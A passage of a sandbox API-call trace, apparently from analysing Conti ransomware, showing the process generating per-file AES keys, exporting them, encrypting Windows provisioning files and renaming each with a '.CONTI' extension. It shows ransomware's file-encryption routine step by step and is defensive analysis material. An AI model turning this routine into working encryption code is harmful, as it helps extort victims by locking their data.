	[0107.199] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml"
	[0107.199] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.199] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.200] GetProcessHeap () returned 0x1720000
	[0107.200] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.200] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0107.200] GetProcessHeap () returned 0x1720000
	[0107.200] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd210 | out: hHeap=0x1720000) returned 1
	[0107.200] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.200] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6515e30 | out: phKey=0x6515e30*=0x17c85b0) returned 1
	[0107.200] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515e34, pdwDataLen=0x4d3fec4 | out: pbData=0x6515e34*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.202] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.202] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.202] GetLastError () returned 0x0
	[0107.202] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=646) returned 1
	[0107.202] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x286
	[0107.202] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.202] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.202] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.203] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.203] WriteFile (in: hFile=0x3c4, lpBuffer=0x6515e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x6515e34*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.204] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.204] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x286, lpOverlapped=0x0) returned 1
	[0107.204] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x286, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x290) returned 1
	[0107.204] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.204] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x290, lpOverlapped=0x0) returned 1
	[0107.205] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.205] WriteFile (in: hFile=0x3c4, lpBuffer=0x6515e28*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6515e28*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.205] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.205] CloseHandle (hObject=0x3c4) returned 1
	[0107.205] GetProcessHeap () returned 0x1720000
	[0107.205] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.205] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml"
	[0107.205] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.205] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.205] GetProcessHeap () returned 0x1720000
	[0107.206] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.206] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0107.206] GetProcessHeap () returned 0x1720000
	[0107.206] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bce40 | out: hHeap=0x1720000) returned 1
	[0107.206] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.206] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x65152c8 | out: phKey=0x65152c8*=0x17c85b0) returned 1
	[0107.206] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x65152cc, pdwDataLen=0x4d3fec4 | out: pbData=0x65152cc*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.206] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.207] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.207] GetLastError () returned 0x0
	[0107.207] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=712) returned 1
	[0107.207] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c8
	[0107.207] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.207] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.207] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.207] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.207] WriteFile (in: hFile=0x3c4, lpBuffer=0x65152cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x65152cc*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.209] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.209] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x2c8, lpOverlapped=0x0) returned 1
	[0107.209] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2c8, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2d0) returned 1
	[0107.209] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.209] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.209] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.209] WriteFile (in: hFile=0x3c4, lpBuffer=0x65152c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x65152c0*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.209] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.209] CloseHandle (hObject=0x3c4) returned 1
	[0107.209] GetProcessHeap () returned 0x1720000
	[0107.209] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.210] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml"
	[0107.210] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.210] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.210] GetProcessHeap () returned 0x1720000
	[0107.210] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.210] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0107.210] GetProcessHeap () returned 0x1720000
	[0107.210] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd360 | out: hHeap=0x1720000) returned 1
	[0107.210] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.210] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6512528 | out: phKey=0x6512528*=0x17c85b0) returned 1
	[0107.210] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x651252c, pdwDataLen=0x4d3fec4 | out: pbData=0x651252c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.211] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.211] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.211] GetLastError () returned 0x0
	[0107.211] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=656) returned 1
	[0107.211] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x290
	[0107.212] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.212] SetEndOfFile (hFile=0x3c4) returned 1
	[0107.212] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.212] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.212] WriteFile (in: hFile=0x3c4, lpBuffer=0x651252c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x651252c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.214] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.214] ReadFile (in: hFile=0x3c4, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x290, lpOverlapped=0x0) returned 1
	[0107.214] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x290, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x2a0) returned 1
	[0107.214] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.214] WriteFile (in: hFile=0x3c4, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x2a0, lpOverlapped=0x0) returned 1
	[0107.215] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.215] WriteFile (in: hFile=0x3c4, lpBuffer=0x6512520*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x6512520*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0107.215] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.215] CloseHandle (hObject=0x3c4) returned 1
	[0107.215] GetProcessHeap () returned 0x1720000
	[0107.215] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.215] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml"
	[0107.215] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.215] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.216] GetProcessHeap () returned 0x1720000
	[0107.216] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.216] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0107.216] GetProcessHeap () returned 0x1720000
	[0107.216] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bd4a0 | out: hHeap=0x1720000) returned 1
	[0107.216] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0107.216] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x6514518 | out: phKey=0x6514518*=0x17c8370) returned 1
	[0107.216] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x651451c, pdwDataLen=0x4d3fec4 | out: pbData=0x651451c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0107.217] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.217] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\119__Connections_Cellular_Tele2 (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\119__connections_cellular_tele2 (estonia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0107.217] GetLastError () returned 0x0
	[0107.217] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=646) returned 1
	[0107.217] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x286
